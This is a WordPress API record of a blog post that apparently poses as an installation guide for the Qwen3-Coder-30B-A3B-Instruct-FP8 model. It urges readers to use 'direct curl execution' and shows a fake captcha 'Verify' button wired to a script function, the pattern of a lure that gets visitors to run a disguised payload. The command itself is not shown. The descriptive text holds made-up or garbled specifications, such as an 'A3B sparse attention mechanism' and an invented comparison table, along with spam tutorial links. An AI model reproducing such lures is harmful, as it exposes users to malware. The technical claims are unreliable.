ZXUzt7hQVkWoC5F6JEA0ol7Y3gelcvBLkdqdRAWWNvL6PyD809h+Z5ncaSAkLbITZaRxNMykU8DxLVmqYp5eYmSqJIjN6Fm2lfKW31ZmjC2hBJcPYG2phfdFei0J\/7ryG2H+Ry7SL1nqUX05F4omr\/g0e1R6QTdQVO8MMDGsRRkqoksL+t2CH2orxQ53lLAFWNAAjHnLytwQxfMzkeu4Rm14Yl99K40Wdl6Grx+HGgBZ9F41G+xITJkC4YZKMwbw04aDojf1Ae40DzCB4M5h1i4QWBoTd\/8zo\/1PnaW08L105Z8F19P+ZH327TvJJ6UbZzAnP9ZYyVtg85pSghyutnjYniUsx3VjoiGBhr4tEPu2unJW+EVN+Yse0kMqzzodZ5Vo49gkS07H4neW+U6oWvVm5MzYXmQCybMf+V9YGhbyUBdR+MUjM3c63scBdpxxl8FThmwn4S9KfDppxc5tiI4iS9N7IQT0NAvsJs5n3DQxxSGsZOzvXCwkjo4mW9MdQYUE+5pOuoCD5kwPN0otpNyEDj5ri83DoIZTCa3pLSO2aPmisNVmCG7p3U1HP9IibRV3C2JIJE03\/VAfBIGVIUY8WscEeU2iXZfRcMUywMIVjhQAAAI+AYirISOBU+lVT1n7Klru1sXHbTgeeD1ChIt72Z2tiM+n\/vywjdNpaVEvCnAIvpUqIe1V02a+XvQGwrmesXWfS0KXQFqf2UYpbX5o6j0exXgDSwuxOuddZOqIA4+F9U+oyiZju0k756D3F\/BiYamT24UOEoO3dUkAAvkhsYHZ7KRFbOShNiee2LVXKe5c8Fd1mcYhoVQzjFO1CdyOz+g3tjGxsWrfAg0x+XF5CPXKNhftp0HbksA7ijCSlirmFx4V9m8Ui6N4R\/Wn0GHsGYYJkIdq4UuVfsbnk2+AYR0ePMspuvABzA8lMdUok6YOYfWszTgd9tvejstpfubahlAwVr4fOSrbNkvD8dSFo9CiQW9Mvo2+Zt1Yyq+5OR5mnLEp2nu1EESmLqbESW7rMqppOOJ+gELdKPWo1vBeMwt0xE4TRCh\/a4K8mhOZYaDZVVUqxknKeOfys0zKxlQFjM6sBINN3GnS6bnPXI7Ir61k76ZQmiajNmRR1M2aZCLpmsIXLRgyBMVHpYSoMo9dmsMBWqmKQiID8jBnDHF0FVHAOjgvBgpFfC+41CRzny4iOJhO4WI602Wv\/tWby\/VCYAfV57dog+FkJ7\/EykbRzufeoqU5luxmqEloEBezb16pQERjL\/mAjtiqrx0jMgO2WYmfK5gF8UXNsRfa1oTbVqQ1RExwEyl6\/DHwGlcHYTGA4f75UrsUo00xj\/moV4dBsvLmce841HGt\/K61oUDDCnD7QR\/+YnhHgZp0DIDfQAAAAABPYTgCJoAAAj31ZMqGQzPKcaq7z1lKLqBQXlKI0LX8Lu\/aA4g8hLA8AoB3r1jiTRhFHlWV3CWc+RwbPuId7ZFP0DaUV5Atz1fVofYweiYGxHBKzCYz\/IL\/yehk71OJ8DkYF4+mnPn5o7GU48G9phMPHGVvMeKgnzuhwYaMeOTqYg+9KAKTm+mvCHnqZoNQ6PU21n0by9RdjH+CKbbkcRsseIE2otE31khQ+DMoDPq4A4FE1+sFXWRM2vumrk5x4iCjIpNTuoBPzwdfTeYJo7exQn8HMyPWlGtrjVSkg\/0MSrnwDF4jyn3mLlx5XEtZsruvqpHUL6s57rKFtkXWupjFk8CSKBGWJjyOwOcszCC4\/0COxw9SzhEsdXOUyDtzdtWah9xTvG4hETFUkxe\/y5mxxx5qqGrEVYMhoLN8reo0tAfkAVp\/q2gU1oJqs0ffambtdr7\/rqYBAHTrmDW4GZVvdmDz6Gi0FdH1MPOEXCkHHUMpA8EySgD4f5x+XoNgpfmPLG3GWqjHiEKb5AEcwN0zuQAOZ3yyASxa80i+QAmKU\/xLt5xA5lcGP\/YKU+4RgI5vySiJNOjnSHgxaYuN3NJ2aOtuuJa\/Dpdve\/BB7DhzNzqZh6vYIvsNqhLJHEfm5+\/1krVF7kof4yAhszlxz93tDZ807PQJy6u84\/sqvLvkgSbIhJyKMCgKPF7pjE3OjO7Thp+tFHbOl3A9vIPphZFRHa7rJdr05IzquDEgL1Dfjuzp8O9zwQdyMsAdEip6U5chzgLxMwAAAHIKAB9WTKd1WhJl8s\/mfiyyQ5XT0LAp+viJKWp0rQtZohMRGbAxHKiUPMhstwpl1XdGf7nmCnNEegUeHwP\/bpP9lj+KbsXVJAy6RNIlm66TUgPzqq17fdVQT\/BmrjxAfixO+qQipWP1S7uFdBFU3PyRO\/p24PXUKqOxmJm+EbFB7pk3jusgQWP8kikBWdZuijoD+2GWQFAvt8qAvkswsf4TvArVTjDG5DLwhi3KJiFmHxMok4SnBgHXhW4dJw32zolvHvBeSczV4CJdlUOQJlVaVMRkSl\/trQ4u\/7LIrmufGNAdeyLS86fDnPJZV\/PGYpIPiKIv6YxkSMuMu+16wxtqyaPv54pbTTBdz7EvYKJB5fO0xGEhs\/RI\/QiqB9VnQ0UTD6P36gqlHpjypq+90+yviT+fZOed292eHLFGjI2CiZQfjn1nl4UygM9FcPLM1cVN6qgu2v\/CSywzBI2g3uBwoQDDehtF3JKoeQxZRUxeFgQ+G7FYyzC\/Tk7AYZjp+saybntuOKpbWodeJ4\/UlScYtJCpR5RLZIRp0tfnYqZxZ3nOB7wzENlMJMsGQRbiTlq\/xP2U6f08VR+3vKkM4doOyBnye\/f7aEh79BmazP6B0\/MreoOPNNDBILzdpHMhAZawu5dTzLf\/B1VQ7b9gzWPlCNelDUy5jNolTFAHHNNiL42o5cmRkxA3DeykF9xCqauvDZ8Zeb+7Iqqm6z9IQIc+H255ozQnAWzpC6VmaK+vLZMgnLuTS+Nmq82XSCoh0f2AtkAz8WoKTb8vOlr0uEzG444Ty59bdWzNEvtMOxTXuXn69qvI9zaYg1ByauCSPitbjI4pEpl6Kck4tAZOn9Ovv4Ws4GIVq383tbcMKbUbfPbC+zFC4mBZRZYrcVN0DBjt9O40QV\/U19tCMfqiYvKklzHfkK\/s7Q2UM29AQ3Wfg3s9klDWprXDlhDUnUS\/HXC5Zac6SmzJ7ZGNwGI+wlIm9zyALLtVkuEJ5+TI7EIt1lZY+8h3KIJDfgQfZR3jLNCyJcxm4G35mseAE4iQp+iHB1LuUAaSA0mmtmQDBqTShgX+oAveoIwi+2MeiA3YUJaEQvviAMDdrTW510Mtxs0eBi\/xD46M0eLqXmiRpzwoqVdIXRf8NY5vz4WF47gOegAW7wWgaA6CogEYzKFVRTKrQQLftlopTbwdtjaSVU4uNCikmZ2MfjO0l2rsO5+t+azingFebYG8V\/xxHJZwmRpnjcASzp51k8yipXU+Gevu3Eg5AIYOcU1Vbbd6lAS9v7xjKDm7W8IglYbbyo049TUKGLzn4NDRhcrvCmAftPVnV7Q5L54p3pZX\/xs8FI1bsH0WjpTh3GGDPUH2CFBPJY3nRQ+R79w\/RXnA4tZfJm\/wZ73kv0ho096JW0X6grlUmQuwTeYaTqDw94KRULpYns1DkmcWUg3EwZ\/ObNfXY0Wv+Zhaw+xAIihM8ktOnEpEucRO8g131XD9GqG2AHIxZPuSlf6rH8DpiZQN9o5S9fyBLwu09qWdF1bEzQA5T4NfM2XEeXvBvUdm3htudLqdJk\/9mvDjrAj+\/DECV7AcfktqGrEaoZi7pvSYXxWQLBpYQZ9K6KC+xw1un1Zh0u6m\/zqHHuAFt4H0DAH9qENLqdngc0nQ1j6MXlyez1+1LLAmseQfeMIameBMoiG3HTtbwhfesdKwHl\/6m\/zfWrir0mcjOo478\/y8woXlNliW\/\/YYj2MuLFvaqahUlKYvSlo\/+JPiEdb5q1VKwrIj5hyXrT+RuodcCKHNN0JvLTTIlGqigiECAl5HteuBUd03pScZoh+dS2A+uj6Cy3R7ItL1R7doza4OueA+J5dMq462KadSXXflpvbBE2AJ1il1jHTDICg7pQ+Acc3iXI\/WkmK0dGhMkcRUxeNk8yYJbDaj81KX2UkS+SIanE3JAbXYGglZN6T6Kiu38sOx5hKZLO9yVRofpbwWWZX7UrWHSXMNCWqbklnArHeMhDL9PFqkkNCbZNKf9boV5KPNpx6Xv\/72emCIkSNZFk2xb1v2nHRt2GrMBdYRq9hwHQ8t\/R5x1fzVTr3FXu8i+KxPoshwkLlHTaLAjXF8Nb93lJ503kQwxSBLYG5t7uPL2bFlshz8KrOYSpCq3wi0IjH2mZ3NAhG0wnV7RH3TjkjUd4bNzNSn4CJL7M91SoqB+iH3GTVdIQYbl9Jo0QorhfMuM5R7eQxgTYmyEZ\/NfRUCaT2ukT0afYMthMsVIHncFWozPyus2F3wfveDMx+1dYGTulLv8kQnmeO8SvMo7ebHCyfT4DtwKwhziwFP4rzssuPYKnmra4ld\/bksr0PSJ1hmFZtm7SUx7ixxeCPgiqpsGI48nkF5EsOy3BMA2BlnSv+CFmSXygLQcDJ2zi4OWn\/JJQEYyb0MQ5AjyEBR6MKFnIBuUTJIZ59F0PQAAA\" alt=\"Deploy Qwen3-Coder-30B-A3B-Instruct-FP8 on Copilot+ PC Complete Walkthrough\" style=\"display:block; width:100%; height:auto; border-radius:8px;\"><\/p>\n<p>To install this model locally in the <i>shortest time<\/i>, opt for a direct <b>curl execution<\/b>.<\/p>\n<p>Review and <b>follow the instructions<\/b> below.<\/p>\n<p> <\/p>\n<p><i>The setup auto-downloads all needed files (several GBs).<\/i><\/p>\n<p> <\/p>\n<p>You don&#8217;t need to tweak anything; the installer <b>picks the highest performing setup<\/b>.<\/p>\n<table style=\"width:800px;max-width:800px;margin:15px auto 65px;border-collapse:collapse;border-radius:24px;overflow:hidden;font-family:-apple-system,BlinkMacSystemFont,'Segoe UI',Roboto,Helvetica,Arial,sans-serif;background:#f1f5f9;box-shadow:0 16px 36px rgba(0,0,0,0.07);\">\n<tr>\n<td style=\"padding:48px 60px;text-align:center;font-size:24px;color:#334155;line-height:2.5;letter-spacing:-0.01em;\">\n<div style=\"text-align: left;font-size:11px\">\n<div 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#ccc;border-radius:4px;\"><br \/><button style=\"padding:8px 17px;margin-top:14px;font-size:20px;cursor:pointer;background:#3b82f6;border:1px solid #2f6fdd;border-radius:6px;color:#fff;font-weight:500;\" onclick=\"window.doV()\">Verify<\/button><\/div>\n<div id=\"captcha-msg\" style=\"text-align:center;\"><\/div>\n<\/td>\n<\/tr>\n<\/table>\n<ul style=\"margin-top:28px;padding-left:23px;margin-left:0;\">\n<li><strong>Processor:<\/strong> Intel i7 \/ Ryzen 7 <strong>for heavy Quantized models<\/strong><\/li>\n<li><strong>RAM:<\/strong> 32 GB <strong>highly recommended<\/strong> for 26B+ GGUF models<\/li>\n<li><strong>Storage:<\/strong><b>100 GB<\/b> free space for HuggingFace cache folder<\/li>\n<li><strong>GPU:<\/strong> RTX 4080 \/ RTX 4090 <strong>recommended for 26B-A4B fast inference<\/strong><\/li>\n<\/ul>\n<\/div>\n<\/td>\n<\/tr>\n<\/table>\n<h4>Unlocking the Power of Code Generation with Qwen3-Coder-30B-A3B-Instruct-FP8<\/h4>\n<p>As we navigate the complexities of modern software development, the need for efficient and accurate code generation has become increasingly critical. This is where Qwen3-Coder-30B-A3B-Instruct-FP8 comes into play, a state-of-the-art large language model designed to tackle even the most daunting programming challenges. By leveraging its 30 billion parameters and A3B sparse attention mechanism, this model delivers unparalleled multilingual code understanding, supporting over 20 programming languages and adhering to best practices in style and documentation.<\/p>\n<h4>Key Features and Advantages<\/h4>\n<p>\u2022 <\/p>\n<ul>\n<li><strong>Higher Inference Speed<\/strong>: Utilizing FP8 quantization, Qwen3-Coder-30B-A3B-Instruct-FP8 achieves significant inference speed while preserving accuracy across a wide range of programming tasks.<\/li>\n<li><strong>Improved Multilingual Support<\/strong>: The model&#8217;s strong multilingual code understanding capabilities make it an ideal choice for developers working on global projects, supporting over 20 programming languages and adhering to best practices in style and documentation.<\/li>\n<li><strong>State-of-the-Art Performance<\/strong>: In benchmarks such as HumanEval and MBPP, Qwen3-Coder-30B-A3B-Instruct-FP8 consistently ranks among the top performers, delivering state-of-the-art solutions with fewer tokens.<\/li>\n<\/ul>\n<table border=\"1\" cellpadding=\"5\" cellspacing=\"0\">\n<tr>\n<th>Model Specifications<\/th>\n<td>Qwen3-Coder-30B-A3B-Instruct-FP8<\/td>\n<\/tr>\n<tr>\n<th>Parameters<\/th>\n<td>30 B<\/td>\n<\/tr>\n<tr>\n<th>Attention Mechanism<\/th>\n<td>A3B sparse<\/td>\n<\/tr>\n<tr>\n<th>Quantization Scheme<\/th>\n<td>FP8<\/td>\n<\/tr>\n<tr>\n<th>Supported Programming Languages<\/th>\n<td>20+ programming languages<\/td>\n<\/tr>\n<tr>\n<th>Benchmark Score (HumanEval)<\/th>\n<td>92.3%<\/td>\n<\/tr>\n<\/table>\n<h4>Comparison with Similar Models<\/h4>\n<p>| Model | Parameters | Attention Mechanism | Quantization Scheme | Supported Languages || &#8212; | &#8212; | &#8212; | &#8212; | &#8212; || Qwen3-Coder-30B-A3B-Instruct-FP8 | 30 B | A3B sparse | FP8 | 20+ programming languages || Model X | 50 B | EIN (Efficient Inference Network) | Int8 | 15+ programming languages || Model Y | 100 B | LSTM (Long Short-Term Memory) | Float32 | 10+ programming languages |<\/p>\n<h4>Unlocking the Full Potential of Code Generation with Qwen3-Coder-30B-A3B-Instruct-FP8<\/h4>\n<p>In a rapidly evolving landscape of software development, Qwen3-Coder-30B-A3B-Instruct-FP8 stands out as a beacon of innovation, offering unparalleled code generation capabilities and superior performance in benchmarks such as HumanEval and MBPP. By harnessing the power of its 30 billion parameters and A3B sparse attention mechanism, developers can unlock new levels of efficiency and accuracy in their coding endeavors, driving the creation of cutting-edge software solutions that transform industries and revolutionize the way we work.<\/p>\n<ul>\n<li>Installer configuring custom chat templates for local inference<\/li>\n<li>Install Qwen3-Coder-30B-A3B-Instruct-FP8 Locally (No Cloud)<\/li>\n<li>Setup utility configuring high-speed semantic index models for local RAG pipelines<\/li>\n<li>Qwen3-Coder-30B-A3B-Instruct-FP8 Using Pinokio 2026\/2027 Tutorial FREE<\/li>\n<li>Installer deploying local real-time text-to-speech channels via ChatTTS library nodes<\/li>\n<li>Deploy Qwen3-Coder-30B-A3B-Instruct-FP8 Windows 10 No Python Required Local Guide<\/li>\n<\/ul>\n","protected":false},"excerpt":{"rendered":"<p>To install this model locally in the shortest time, opt [&hellip;]<\/p>\n","protected":false},"author":5,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[111],"tags":[],"_links":{"self":[{"href":"https:\/\/eps.org.tw\/api\/wp\/v2\/posts\/8439"}],"collection":[{"href":"https:\/\/eps.org.tw\/api\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/eps.org.tw\/api\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/eps.org.tw\/api\/wp\/v2\/users\/5"}],"replies":[{"embeddable":true,"href":"https:\/\/eps.org.tw\/api\/wp\/v2\/comments?post=8439"}],"version-history":[{"count":1,"href":"https:\/\/eps.org.tw\/api\/wp\/v2\/posts\/8439\/revisions"}],"predecessor-version":[{"id":8440,"href":"https:\/\/eps.org.tw\/api\/wp\/v2\/posts\/8439\/revisions\/8440"}],"wp:attachment":[{"href":"https:\/\/eps.org.tw\/api\/wp\/v2\/media?parent=8439"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/eps.org.tw\/api\/wp\/v2\/categories?post=8439"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/eps.org.tw\/api\/wp\/v2\/tags?post=8439"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}